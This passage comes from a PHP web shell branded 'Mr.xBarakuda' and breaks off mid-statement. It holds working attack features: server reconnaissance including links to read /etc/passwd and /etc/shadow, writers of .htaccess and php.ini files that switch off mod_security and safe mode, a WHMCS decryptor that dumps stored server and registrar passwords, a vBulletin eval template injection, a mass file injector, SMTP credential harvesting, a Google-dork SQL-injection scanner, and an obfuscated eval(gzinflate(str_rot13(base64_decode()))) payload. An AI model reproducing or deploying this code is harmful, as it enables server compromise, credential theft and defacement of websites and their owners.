elseif($_GET['kuda'] == 'serverinfo') {
echo '<center><h2>Server Information</h2><table>';
echo '<div class=content>';
function showSecParam($n, $v) {
$v = trim($v);
if($v) {
echo '<span>'.$n.': </span>';
if(strpos($v, "n") === false)
echo $v. '<br>';
else
echo '<pre class=ml1>'.$v.'</pre>';
echo '<br>';
}
}
showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'None');
showSecParam('Open base dir', @ini_get('open_basedir'));
showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
showSecParam('cURL support', function_exists('curl_version')?'Enabled':'No');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
showSecParam('Supported databases', implode(', ', $temp));
echo '<br>';
if( $GLOBALS['os'] == 'nix' ) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g('FilesTools', '/etc/', 'passwd')'>[view]</a>":'no');
showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g('FilesTools', 'etc', 'shadow')'>[view]</a>":'no');
showSecParam('OS version', @file_get_contents('/proc/version'));
showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
echo '<br>';
$temp=array();
foreach ($userful as $item)
if(which($item)){$temp[]=$item;}
showSecParam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(which($item)){$temp[]=$item;}
showSecParam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(which($item)){$temp[]=$item;}
showSecParam('Downloaders', implode(', ',$temp));
echo '<br>';
showSecParam('Hosts', @file_get_contents('/etc/hosts'));
showSecParam('HDD space', ex('df -h'));
showSecParam('Mount options', @file_get_contents('/etc/fstab'));
}
} else {
showSecParam('OS Version',ex('ver'));
showSecParam('Account Settings',ex('net accounts'));
showSecParam('User Accounts',ex('net user'));
}
echo '</div>';
echo '</table></center>';
}
elseif($_GET['kuda'] == 'safemode') {
echo '<center><h2>Safe Mode</h2>';
echo '<div class="content">';
echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br>";
echo '<a href=? onclick="g(null,null,"php.ini",null)">| PHP.INI | </a><a href=? onclick="g(null,null,null,"ini")">| .htaccess(Mod) | </a><a href=? onclick="g(null,null,null,null,"sh")">| .htaccess(perl) | </a></center>';
if(!empty($_POST['p2']) && isset($_POST['p2']))
{
$fil=fopen($GLOBALS['cwd'].".htaccess","w");
fwrite($fil,'<IfModule mod_security.c>
Sec------Engine Off
Sec------ScanPOST Off
</IfModule>');
fclose($fil);
}
if(!empty($_POST['p1'])&& isset($_POST['p1']))
{
$fil=fopen($GLOBALS['cwd']."php.ini","w");
fwrite($fil,'safe_mode = OFF
disable_functions = NONE');
fclose($fil);
}
if(!empty($_POST['p3']) && isset($_POST['p3']))
{
$fil=fopen($GLOBALS['cwd'].".htaccess","w");
fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .sh
AddHandler cgi-script .pl
AddHandler cgi-script .pl');
fclose($fil);
}
echo "</div>";
echo '</div>';
echo '</center>';
}
elseif($_GET['kuda'] == 'loghunter')
{
echo '<center><h2>Log Hunter</h2></center>';
echo "<center>";
echo "<form action='' method='post'>";
?><br><font color="blue">Dir:</font> <input type="text" value="<?=getcwd();?>" name="shc_dir"><?php
echo "<input type='submit' name='submit' class='kotak' value='Scan Now!'>";
echo "</form>";
echo "<pre style='text-align: left;'>";
error_reporting(0);
/*
Name : Log Hunter (Grab Email)
Date : 26/03/2016 05:53 PM
Link : http://facebook.com/bug7sec
Link : http://pastebin.com/u/shor7cut
Author : Shor7cut
*/
if($_POST['submit']){
function tampilkan($shcdirs){
foreach(scandir($shcdirs) as $shc)
{
if($shc!='.' && $shc!='..')
{
$shc = $shcdirs.DIRECTORY_SEPARATOR.$shc;
if( !is_dir($shc) && !eregi("css", $shc) ){
$fgt = file_get_contents($shc);
$ifgt = exif_read_data($shc);
$jembut = "COMPUTED";
$taik = "UserComment";
$shcm = "/mail['(']/";
if($ifgt[$jembut][$taik]){
echo "[<font color=#00FFD0>Stegano</font>] <font color=#2196F3>".$shc."</font><br>";
}
preg_match_all('#[A-Z0-9a-z._%+-]+@[A-Za-z0-9.+-]+#',$fgt,$cocok);
$hcs = "/base64_decode/";
$exif = "/exif_read_data/";
preg_match($shcm, addslashes($fgt), $mailshc);
preg_match($hcs, addslashes($fgt), $shcmar);
preg_match($exif, addslashes($fgt), $shcxif);
if(eregi('HTTP Cookie File', $fgt) || eregi('PHP Warning:', $fgt) ){
}
if(eregi('tmp_name', $fgt)){
echo "[<font color=#FAFF14>Uploader</font>] <font color=#2196F3>".$shc."</font><br>";
}
if($shcmar[0]){
echo "[<font color=#FF3D00>Base64</font>] <font color=#2196F3>".$shc."</font><br>";
}
if($mailshc[0]){
echo "[<font color=#E6004E>MailFunc</font>] <font color=#2196F3>".$shc."</font><br>";
}
if($shcxif[0]){
echo "[<font color=#00FFD0>Stegano</font>] <font color=#2196F3>".$shc."</font> </font><font color=red>{Manual Check}</font><br>";
}
if(eregi("js", $shc)){
echo "[<font color=red>Javascript</font>] <font color=#2196F3>".$shc."</font> { <a href=http://www.unphp.net target=_blank>CheckJS</a> }<br>";
}
if($cocok[0]){
foreach ($cocok[0] as $key => $shcmail) {
if (filter_var($shcmail, FILTER_VALIDATE_EMAIL)) {
echo "[<font color=greenyellow>SendMail</font>] <font color=#2196F3>".$shc."</font> { ".$shcmail." }<br>";
}
}
}
}else{
tampilkan($shc);
}
}
}
}
tampilkan($_POST['shc_dir']);
}
echo "</pre>";
echo "</center>";
}
elseif(isset($_GET['xk']) && ($_GET['xk'] == 'whmcs'))
{
?>
<form action="?y=<?php echo $pwd; ?>&do=whmcs" method="post">
<?php
function decrypt ($string,$cc_encryption_hash)
{
$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
$hash_key = _hash ($key);
$hash_length = strlen ($hash_key);
$string = base64_decode ($string);
$tmp_iv = substr ($string, 0, $hash_length);
$string = substr ($string, $hash_length, strlen ($string) - $hash_length);
$iv = $out = '';
$c = 0;
while ($c < $hash_length)
{
$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen ($string))
{
if (($c != 0 AND $c % $hash_length == 0))
{
$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
}
$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
++$c;
}
return $out;
}
function _hash ($string)
{
if (function_exists ('sha1'))
{
$hash = sha1 ($string);
}
else
{
$hash = md5 ($string);
}
$out = '';
$c = 0;
while ($c < strlen ($hash))
{
$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
}
echo "
<center><h2>WHMCS Decoder</h2>
<form action='' method='post'>
<input type='hidden' name='form_action' value='2'>
<br>
<table class='tabnet' style='width:320px;padding:0 1px;'>
<tr><td>db_host: </td><td><input type='text' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
<tr><td>db_username: </td><td><input type='text' class='inputz' size='38' name='db_username' value=''></td></tr>
<tr><td>db_password: </td><td><input type='text' class='inputz' size='38' name='db_password' value=''></td></tr>
<tr><td>db_name: </td><td><input type='text' class='inputz' size='38' name='db_name' value=''></td></tr>
<tr><td>cc_encryption_hash: </td><td><input type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
<td><input class='inputzbut' type='submit' value='Submit' name='Submit' align='center'></td>
</table></form></center>";
if($_POST['form_action'] == 2 )
{
//include($file);
$db_host=($_POST['db_host']);
$db_username=($_POST['db_username']);
$db_password=($_POST['db_password']);
$db_name=($_POST['db_name']);
$cc_encryption_hash=($_POST['cc_encryption_hash']);
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblservers");
while($v = mysql_fetch_array($query)) {
$ipaddress = $v['ipaddress'];
$username = $v['username'];
$type = $v['type'];
$active = $v['active'];
$hostname = $v['hostname'];
echo("<center><table border='1'>");
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>Type</td><td>$type</td></tr>");
echo("<tr><td>Active</td><td>$active</td></tr>");
echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
echo("<tr><td>Username</td><td>$username</td></tr>");
echo("<tr><td>Password</td><td>$password</td></tr>");
echo "</table><br><br></center>";
}
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblregistrars");
echo("<center>Domain Reseller <br><table class=tabnet border='1'>");
echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
while($v = mysql_fetch_array($query)) {
$registrar = $v['registrar'];
$setting = $v['setting'];
$value = decrypt ($v['value'], $cc_encryption_hash);
if ($value=="") {
$value=0;
}
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
}
}
}
elseif($_GET['vb'] == 'ngindex') {
{
?>
<form action="" method="post">
<div align="center">
<h2>VB Index Changer</h2>
</div>
<?php
if(empty($_POST['index'])){
echo "<center><form method='post'>
<table>
<tr><td>Host: </td><td><input class='inputz' type='text' size='52' name='localhost' placeholder='localhost'></td></tr><br>
<tr><td>Database: </td><td><input class='inputz' type='text' size='52' name='database' placeholder='forum_vb'></td></tr><br>
<tr><td>Username: </td><td><input class='inputz' type='text' size='52' name='username' placeholder='user_vb'></td></tr><br>
<tr><td>Password: </td><td><input class='inputz' type='text' size='52' name='password' placeholder='vb'></td></tr></table><br>
<th colspan='2'>Your Index Code</th><br>
<textarea name='index' rows='13' style='width: 450px; height: 200px;' border='1' cols='69' name='code'>Your Index Code Here...</textarea><br>
<input class='inputzbut' type='submit' value='Setting!' name='send'>
</form></center>";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$index = $_POST['index'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$index=str_replace("'","'",$index);
$set_index = "{${eval(base64_decode('";
$set_index .= base64_encode("echo "$index";");
$set_index .= "'))}}{${exit()}}</textarea>";
echo("SET template ='".$set_index."' ") ;
$ok=@mysql_query("SET template ='".$set_index."'") or die(mysql_error());
if($ok){
echo "<center>Update success...</center>";
}
}
}
} elseif($_GET['code'] == 'inject') {
echo '<center><h2>Mass Code Injector</h2>';
if(stristr(php_uname(),"Windows")) { $DS = "\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
function get_structure($path,$depth) {
global $DS;
$res = array();
if(in_array(0, $depth)) { $res[] = $path; }
if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
$tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
}
if(in_array(2, $depth) or in_array(3, $depth)) {
$tmp2 = array();
foreach($tmp1 as $t){
$tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
$tmp2 = array_merge($tmp2, $tp2);
}
if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
}
if(in_array(3, $depth)) {
$tmp3 = array();
foreach($tmp2 as $t){
$tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
$tmp3 = array_merge($tmp3, $tp3);
}
$res = array_merge($res,$tmp3);
}
return $res;
}
if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
$name = $_POST['name'] ? $_POST['name'] : '*';
$type = $_POST['type'] ? $_POST['type'] : 'html';
$path = $_POST['path'] ? $_POST['path'] : getcwd();
$code = $_POST['code'] ? $_POST['code'] : 'Visited By Mr.xBarakuda';
$mode = $_POST['mode'] ? $_POST['mode'] : 'a';
$depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
$dt = get_structure($path,$depth);
foreach ($dt as $d) {
if($mode == 'a') {
if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
} else {
echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
}
} else {
if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
} else {
echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
}
}
}
} else {
echo '<form method="post" action="">
<table align="center">
<tr>
<td>Directory: </td>
<td><input type="text" name="path" value="'.getcwd().'" size="50"/></td>
</tr>
<tr>
<td class="title">Mode: </td>
<td>
<select style="width: 100px;" name="mode" class="box">
<option value="a">Apender</option>
<option value="w">Overwriter</option>
</select>
</td>
</tr>
<tr>
<td class="title">File Name & Type: </td>
<td>
<input type="text" style="width: 100px;" name="name" value="*"/>
<select style="width: 100px;" name="type" class="box">
<option value="html">HTML</option>
<option value="htm">HTM</option>
<option value="php" selected="selected">PHP</option>
<option value="asp">ASP</option>
<option value="aspx">ASPX</option>
<option value="xml">XML</option>
<option value="txt">TXT</option>
</select></td>
</tr>
<tr>
<td class="title">Code Inject Depth: </td>
<td>
<input type="checkbox" name="depth[]" value="0" checked="checked"/> 0
<input type="checkbox" name="depth[]" value="1"/> 1
<input type="checkbox" name="depth[]" value="2"/> 2
<input type="checkbox" name="depth[]" value="3"/> 3
</td>
</tr>
<tr>
<td colspan="2"><textarea name="code" cols="70" rows="10" class="box"></textarea></td>
</tr>
<tr>
<td colspan="2" style="text-align: center;">
<input type="hidden" name="a" value="Injector">
<input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
<input type="hidden" name="p1">
<input type="hidden" name="p2">
<input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
<input name="submit" type="submit" value="Inject"/></td>
</tr>
</table>
</form>';
}
} elseif($_GET['db'] == 'dump')
{
echo $head.'<p align="center">';
echo '
<center>
<form action="" method="post">
<h2>DataBase Dump</h2>
<table>
<tr><td>Server: </td>
<td><input class="inputz" type="text" name="server" size="52"></td></tr><br>
<tr><tr><td>Username: </td>
<td><input class="inputz" type="text" name="username" size="52"></td></tr><br><tr>
<tr><td>Password: </td>
<td><input class="inputz" type="text" name="password" size="52"></td></tr><br><tr>
<tr><td>DB Name: </td>
<td><input class="inputz" type="text" name="dbname" size="52"></td></tr><br>
<tr><td>DB Type: </td>
<td><form method="post" action="'.$me.'">
<select class="inputz" name=method>
<option value="gzip">Gzip</option>
<option value="sql">Sql</option>
</select>
<input class="inputzbut" type="submit" value="Dump!"></td></tr>
</form></center></table>';
if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
$date = date("Y-m-d");
$dbserver = $_POST['server'];
$dbuser = $_POST['username'];
$dbpass = $_POST['password'];
$dbname = $_POST['dbname'];
$file = "Dump-$dbname-$date";
$method = $_POST['method'];
if ($method=='sql'){
$file="Dump-$dbname-$date.sql";
$fp=fopen($file,"w");
}else{
$file="Dump-$dbname-$date.sql.gz";
$fp = gzopen($file,"w");
}
function write($data) {
global $fp;
if ($_POST['method']=='ssql'){
fwrite($fp,$data);
}else{
gzwrite($fp, $data);
}}
mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$tables = mysql_query ("SHOW TABLES");
while ($i = mysql_fetch_array($tables)) {
$i = $i['Tables_in_'.$dbname];
$create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
write($create['Create Table'].";nn");
$sql = mysql_query ("SELECT * FROM ".$i);
if (mysql_num_rows($sql)) {
while ($row = mysql_fetch_row($sql)) {
foreach ($row as $j => $k) {
$row[$j] = "'".mysql_escape_string($k)."'";
}
write("INSERT INTO $i VALUES(".implode(",", $row).");n");
}
}
}
if ($method=='ssql'){
fclose ($fp);
}else{
gzclose($fp);}
header("Content-Disposition: attachment; filename=" . $file);
header("Content-Type: application/download");
header("Content-Length: " . filesize($file));
flush();
$fp = fopen($file, "r");
while (!feof($fp))
{
echo fread($fp, 65536);
flush();
}
fclose($fp);
}
} elseif($_GET['my'] == 'contact') {
echo "<center><h2>Contact Orang Gans</h2>
<table><td style='background-color: transparent; text-align: center; border: 2px aqua dotted; width:300px; height:60px;'>
<font color='cyan'>Email : [email protected]<br>Instagram : <a href='https://instagram.com/x_barakuda' target='_blank'>@x_barakuda</a></font></tr></td></table></center><br>";
} elseif($_GET['kuda'] == 'hijack_wp')
{
$kudagans="lUh6Yts2EP5hwP/hygWQA6SWX+o2Ziy3duquBdouVdJo2EMYlFFbeSRFIanYztr/3qMkWPKytLO+iDzdPffcZlQKXmPB55qZjiMzk3Nz7nSLBUZcLJ0j6B2etFvPp+3WcSFIAjQwXAqPAIGEmVWGHlalNsQ6BFkYpqaTdTD9JEiYKqY1vBUhW8Mb/oUG12Ou+O3xxFKHiVttcNzzNFfbLRZREsg2QgnunP9+bOVLJ3o2McOFbnhQFaPwQruFCfgdGwspGJIMcSzVGH7p//p59Po1oMVUFlmN++katIxsa//b45gtzBj+0+Nbu8UFym4z7W/vT4fSGIaRw+HZTP4NAydhwZeclIU5O3IRW0mumY9t+bkKKdCYL0TaTxgyBTTycQlNBR6JjFbHrrtNrYbd3t1drxvIxB30+kLc3jG+3f7IfdofjW1Ch6PjYSqWBBVBtwm2jUxVbiAvxSNyKQSshB5sT2BOA1xcU6guXCF2ay+FJNMzGW9oLzfwnnOKGyo4hUZwsJ1ZTPQLFkceqrt+VhW9zk86ZHq2us9yldtdoazZpJjStpTALY0z3MQyoGRxVAoEWtCQLqPtgD0YFEVQfarZ3IZ5A1BfJOLHZDiiC76uMhW7H1NxminrPQ/9OkKmFT4/VlK1XuHQNALTSBj6viAPikfNbRBwtFTsugqWK055M9He7/UIKLnC5TNRwyGjYAfmMbvJ+K1UsC48KpFoVGBuPNI7+WvxziuHCqkZ5maRz5SiK2r953n01x+zD5bZlsO0MarNImjmJ7x3SZYOqorLM59fAKQIautWR8nUwcMB+BwULQYPDub2YPztFAbn89YhYnLje75ifi46sONEmHenRe1zlsJFu/D8rvJAG8VGjZpUWWoqYhTc+XxLweXD0lHLDRWY69YucZXOVnbnC6ggRC1RtPcLlM+LcaNi4jn2VrDAZ1dyjuoSj6pPDk4qCDnrFCFZKak6h1t+DTDNb8TCuesUOv488ABCRsw+YFR6fXIZXchibVqajjm9Pm0VSzcZRpsO+Wv+6vR31oS5nF2BjZ4bYW9RaAjilW0jsAOf3swuc/D2FVmhB6RWxgr2qFm0o0haYLAHgfII7FLhG7BLswaRwQNRhnsQEbm8+7Col+WUxEWzzr+12vbk69dXnXc5vMe7+OtJN0GK52fnP+HEPG7O9DK71lmXv/FU1d2O7q5fH3hlQrO90ykWOtPf6JLGY6qzZOd/pSqW+PoO";error_reporting(0);@set_time_limit(0);eval(gzinflate(str_rot13(base64_decode($kudagans))));
} elseif($_GET['kuda'] == 'smtp') {
echo "<center><span>NB : Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/namafolder_config )</span></center><br>";
function scj($dir) {
$dira = scandir($dir);
foreach($dira as $dirb) {
if(!is_file("$dir/$dirb")) continue;
$ambil = file_get_contents("$dir/$dirb");
$ambil = str_replace("$", "", $ambil);
if(preg_match("/JConfig|joomla/", $ambil)) {
$smtp_host = ambilkata($ambil,"smtphost = '","'");
$smtp_auth = ambilkata($ambil,"smtpauth = '","'");
$smtp_user = ambilkata($ambil,"smtpuser = '","'");
$smtp_pass = ambilkata($ambil,"smtppass = '","'");
$smtp_port = ambilkata($ambil,"smtpport = '","'");
$smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
echo "<center><font color=blue>SMTP Host: </font>$smtp_host<br>";
echo "<font color=blue>SMTP Port: </font>$smtp_port<br>";
echo "<font color=blue>SMTP User: </font>$smtp_user<br>";
echo "<font color=blue>SMTP Pass: </font>$smtp_pass<br>";
echo "<font color=blue>SMTP Auth: </font>$smtp_auth<br>";
echo "<font color=blue>SMTP Secure: </font>$smtp_secure</center><br>";
}
}
}
$smpt_hunter = scj($dir);
echo $smpt_hunter;
} elseif($_GET['act'] == 'newfile') {
if($_POST['new_save_file']) {
$newfile = htmlspecialchars($_POST['newfile']);
$fopen = fopen($newfile, "a+");
if($fopen) {
$act = "<script>window.location='?act=edit&dir=".$path."&file=".$_POST['newfile']."';</script>";
} else {
$act = "<font color=red>permission denied</font>";
}
}
echo $act;
echo "<center><form method='post'>
<font color='blue'>Filename:</font> <input type='text' name='newfile' value='$path/newfile.php' style='width: 450px;' height='10'>
<input type='submit' name='new_save_file' value='Submit'>
</form></center>";
} elseif($_GET['act'] == 'newfolder') {
if($_POST['new_save_folder']) {
$new_folder = $path.'/'.htmlspecialchars($_POST['newfolder']);
if(!mkdir($new_folder)) {
$act = "<font color=red>permission denied</font>";
} else {
$act = "<script>window.location='?path=".$path."';</script>";
}
}
echo $act;
echo "<center><form method='post'>
<font color='blue'>Folder Name:</font> <input type='text' name='newfolder' style='width: 450px;' height='10'>
<input type='submit' name='new_save_folder' value='Submit'>
</form></center>";
} elseif($_GET['kuda'] == 'zip_menu') {
echo "<center><h2>Zip Menu</h2>";
function rmdir_recursive($dir) {
foreach(scandir($dir) as $file) {
if ('.' === $file || '..' === $file) continue;
if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
else unlink("$dir/$file");
}
rmdir($dir);
}
if($_FILES["zip_file"]["name"]) {
$filename = $_FILES["zip_file"]["name"];
$source = $_FILES["zip_file"]["tmp_name"];
$type = $_FILES["zip_file"]["type"];
$name = explode(".", $filename);
$accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
foreach($accepted_types as $mime_type) {
if($mime_type == $type) {
$okay = true;
break;
}
}
$continue = strtolower($name[1]) == 'zip' ? true : false;
if(!$continue) {
$message = "Itu Bukan ZIP Cuk!";
}
$dir = dirname(__FILE__).'/';
$filenoext = basename ($filename, '.zip');
$filenoext = basename ($filenoext, '.ZIP');
$targetdir = $dir . $filenoext;
$targetzip = $dir . $filename;
if (is_dir($targetdir)) rmdir_recursive ( $targetdir);
mkdir($targetdir, 0777);
if(move_uploaded_file($source, $targetzip)) {
$zip = new ZipArchive();
$x = $zip->open($targetzip);
if ($x === true) {
$zip->extractTo($targetdir);
$zip->close();
unlink($targetzip);
}
$message = "<b>Sukses!</b>";
} else {
$message = "<b>Gagal:(</b>";
}
}
echo '<table style="width:100%" border="1">
<tr><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
<label><font color="blue">Zip File:</font> <input type="file" name="zip_file"></label>
<input type="submit" name="submit" value="Upload And Unzip" />
</form>';
if($message) echo "<p>$message</p>";
echo "</tr><hr><tr><h2>Zip Backup</h2>
<form action='' method='post'>
<font style='text-decoration: underline;' color='blue'>Folder:</font><br>
<input type='text' name='path' value='$path' style='width: 450px;' height='10'><br>
<font style='text-decoration: underline;' color='blue'>Save To:</font><br>
<input type='text' name='save' value='$path/kuda_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='Backup!' style='width: 215px;'></form>";
if($_POST['backup']){
$save=$_POST['save'];
function Zip($source, $destination){
if (extension_loaded('zip') === true)
{
if (file_exists($source) === true)
{
$zip = new ZipArchive();
if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
{
$source = realpath($source);
if (is_dir($source) === true)
{
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
foreach ($files as $file)
{
$file = realpath($file);
if (is_dir($file) === true)
{
$zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
}
else if (is_file($file) === true)
{
$zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
}
}
}
else if (is_file($source) === true)
{
$zip->addFromString(basename($source), file_get_contents($source));
}
}
return $zip->close();
}
}
return false;
}
Zip($_POST['path'],$save);
echo "Done , Save To <b>$save</b>";
}
echo "</tr><hr><tr><h2>Unzip Manual</h2>
<form action='' method='post'>
<font style='text-decoration: underline;' color='blue'>Zip Location:</font><br>
<input type='text' name='path' value='$path/file.zip' style='width: 450px;' height='10'><br>
<font style='text-decoration: underline;' color='blue'>Save To:</font><br>
<input type='text' name='save' value='$path/kuda_unzip' style='width: 450px;' height='10'><br>
<input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
if($_POST['extrak']){
$save=$_POST['save'];
$zip = new ZipArchive;
$res = $zip->open($_POST['path']);
if ($res === TRUE) {
$zip->extractTo($save);
$zip->close();
echo 'Sukses, Lokasi ada di : <b>'.$save.'</b>';
} else {
echo 'Gagal:(';
}
}
echo '</tr></table></center>';
} elseif($_GET['scan'] == 'sqli') {
{
?>
<form action="?y=<?php echo $pwd; ?>&x=sqli-scanner" method="post">
<?php
echo '<center><h2>Sqli Scanner</h2>';
echo '<form method="post" action=""><font color="blue">Dork: </font><input class="inputz" type="text" value="" name="dork" size="20"><input class="inputzbut" type="submit" name="scan" value="Scan!"></form></center>';
ob_start();
set_time_limit(0);
if (isset($_POST['scan'])) {
$browser = $_SERVER['HTTP_USER_AGENT'];
$first = "startgoogle.startpagina.nl/index.php?q=";
$sec = "&start=";
$reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/';
for($id=0 ; $id<=30; $id++){
$page=$id*10;
$dork=urlencode($_POST['dork']);
$url = $first.$dork.$sec.$page;
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
$result = curl_exec($curl);
curl_close($curl);
preg_match_all($reg,$result,$matches);
}
foreach($matches[1] as $site){
$url = preg_replace("/=/", "='", $site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
curl_setopt($curl,CURLOPT_TIMEOUT,'5');
$GET=curl_exec($curl);
if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch​_row()|SELECT *
FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) {
echo '<center><b><font color="#E10000">Found : </font><a href="'.$url.'" target="_blank">'.$url.'</a><font color=#FF0000> <-- SQLI Vuln
Found..</font></b></center>';
ob_flush();flush();
}else{
echo '<center><font color="#FFFFFF"><b>'.$url.'</b></font><font color="#0FFF16"> <-- Not Vuln</font></center>';
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
} elseif($_GET['kuda'] == 'edr') {
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
$text = $_POST['code'];
?>
<center><h2>Encode And Decode By Mr.xBarakuda</h2>
<form method="post"><br>
<textarea class='form-control con7' cols='60' rows='10' name="code"></textarea><br><br>
<select class='form-control con7' size="1" name="ope">
<center><option value="urlencode">url</option>
<option value="base64">base64</option>
<option value="ur">convert_uu</option>
<option value="json">json</option>
<option value="gzinflates">gzinflate - base64</option>
<option value="str2">str_rot13 - base64</option>
<option value="gzinflate">str_rot13 - gzinflate - base64</option>
<option value="gzinflater">gzinflate - str_rot13 - base64</option>
<option value="gzinflatex">gzinflate - str_rot13 - gzinflate - base64</option>
<option value="gzinflatew">str_rot13-convert_uu-url-gzinflate-str_rot13-base64-convert_uu-gzinflate-url-str_rot13-gzinflate-base64</option>
<option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
<option value="url">base64 - gzinflate - str_rot13 - convert_uu - gzinflate - base64</option></center>
</select> <br><br><input class='kntd' type='submit' name='submit' value='Encode'>
<input class='kntd' type='submit' name='submits' value='Decode'>
</form>
<br>
<?php
$submit = $_POST['submit'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_encode($text);
break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
break;case 'json' : $codi=json_encode(utf8_encode($text));
break;case 'gzinflate' : $codi=base64_encode(gzdeflate(str_rot13($text)));
break;case 'gzinflater' : $codi=base64_encode(str_rot13(gzdeflate($text)));
break;case 'gzinflatex' : $codi=base64_encode(gzdeflate(str_rot13(gzdeflate($text))));
break;case 'gzinflatew' : $codi=base64_encode(gzdeflate(str_rot13(rawurlencode(gzdeflate(convert_uuencode(base64_encode(str_rot13(gzdeflate(convert_uuencode(rawurldecode(str_rot13($text))))))))))));
